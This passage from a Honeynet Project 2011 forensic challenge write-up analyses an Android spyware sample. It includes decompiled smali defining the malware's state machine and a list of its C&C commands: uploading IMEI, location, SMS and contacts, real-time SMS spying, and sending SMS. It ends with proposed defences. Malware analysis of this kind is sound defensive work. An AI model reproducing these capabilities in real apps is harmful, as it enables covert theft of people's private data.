//States (daemon/b/d) new-instance v0, Lcom/fc9/currencyguide/daemon/b/d; const-string v1, "INIT" invoke-direct {v0, v1, v3}, Lcom/fc9/currencyguide/daemon/b/d;-><init>(Ljava/lang/String;I)V sput-object v0, Lcom/fc9/currencyguide/daemon/b/d;->a:Lcom/fc9/currencyguide/daemon/b/d; new-instance v0, Lcom/fc9/currencyguide/daemon/b/d; const-string v1, "NEGOTIATING" invoke-direct {v0, v1, v4}, Lcom/fc9/currencyguide/daemon/b/d;-><init>(Ljava/lang/String;I)V sput-object v0, Lcom/fc9/currencyguide/daemon/b/d;->b:Lcom/fc9/currencyguide/daemon/b/d; new-instance v0, Lcom/fc9/currencyguide/daemon/b/d;

[…]

//Transitions (daemon/b/f) const-string v1, "INIT_OK" invoke-direct {v0, v1, v3}, Lcom/fc9/currencyguide/daemon/b/f;-><init>(Ljava/lang/String;I)V sput-object v0, Lcom/fc9/currencyguide/daemon/b/f;->a:Lcom/fc9/currencyguide/daemon/b/f; new-instance v0, Lcom/fc9/currencyguide/daemon/b/f; const-string v1, "NEGOTIATE_OK" invoke-direct {v0, v1, v4}, Lcom/fc9/currencyguide/daemon/b/f;-><init>(Ljava/lang/String;I)V sput-object v0, Lcom/fc9/currencyguide/daemon/b/f;->b:Lcom/fc9/currencyguide/daemon/b/f; new-instance v0, Lcom/fc9/currencyguide/daemon/b/f;

[…]

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 15 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

We can identify 6 states and 11 transitions. By having a look at daemon.b.c.a(), we can reconstruct the graph of the state machine implemented in the malware :

During the REQUESTING state, the malware sends requests to the C&C server, including its IMEI, IMSI, operator name and location. The server sends back a XML file that the malware parse during the PARSING state, using the SAXParser API

(in daemon/b/i). Then, it executes the orders embedded in this file.

Each action is located in the daemon.c

package, and inherits from the “f” superclass. Here are the available actions (we renamed them based on the decrypted strings) :

goto: Start the browser and open a given webpage

call: Dial a given number

getsms: Read the SMS stored on the phone, and sends them to the C&C server

vibrate: Vibrate for a given number of miliseconds

smsspy: Sends every SMS received to the C&C server in real time by registering a broadcast receiver

smsunspy: Stop sending SMS by unregister the broadcast receiver

getcontacts: Sends the contacts to the C&C server

sendsms: Send a SMS to a given number (and with a given body)

The “e” class is responsible for dispatching the actions by parsing the XML tags found in the server response. When an action needs to send a result to the server, it uses the daemon.f.a() method, which is a wrapper for the Apache HTTP client.

Bonus Question. Please provide a method to block (or request permission from Android

(similar to UAC concept)) when any suspicious call received from Android.

Tools Used:

Possible Points: 8pts

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 16 of 17

T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011

Awarded Points:

Solution 1

One could develop an app that registers a specific activity or service for all potential malicious intents. This can be done in the manifest of the app, by specifying an IntentFilter that contains <action> tags, and a high priority, such as :

<intent-filter>

<action android:name="android.intent.action.VIEW"

[...]

</intent-filter> android:priority="999" />

I am not an expert in Android internals, but I guess it may be possible to write this activity or service such as it asks the user for his permission before starting the appropriate activity.

Solution 2

Another solution could be to modify the source code of the framework, and especially the

PackageManager.findPreferredActivity() method, in order to ask the user after selecting the appropriate Activity for a given

Intent. One could do the same kind of modification with ContentProvider.acquireProvider() in order to filter any suspicious query on personal data (such as SMS).

The inconvenient of this solution is that it requires recompiling the whole framework.

Solution 3

Each sensitive application could implement a UAC when it receives intents from other applications. For instance, the application responsible for dialing numbers could ask the user systematically when receiving a request from another application, and why not maintain an internal Access Control List. This ACL could also be maintain directly by Android, and filter dynamically all intents made from an application A to a ContentProvider or Activity.

In any case, this requires a dynamic permission checking and user interaction, for which Android static permission system does not seem to be designed:

“Android has no mechanism for granting permissions dynamically (at run-time) because it complicates the user experience to the detriment of security.”

From: http://developer.android.com/guide/topics/security/security.html

The work is licensed under a

Creative Commons License

Copyright

© The Honeynet Project, 2011

.

Page 17 of 17

Download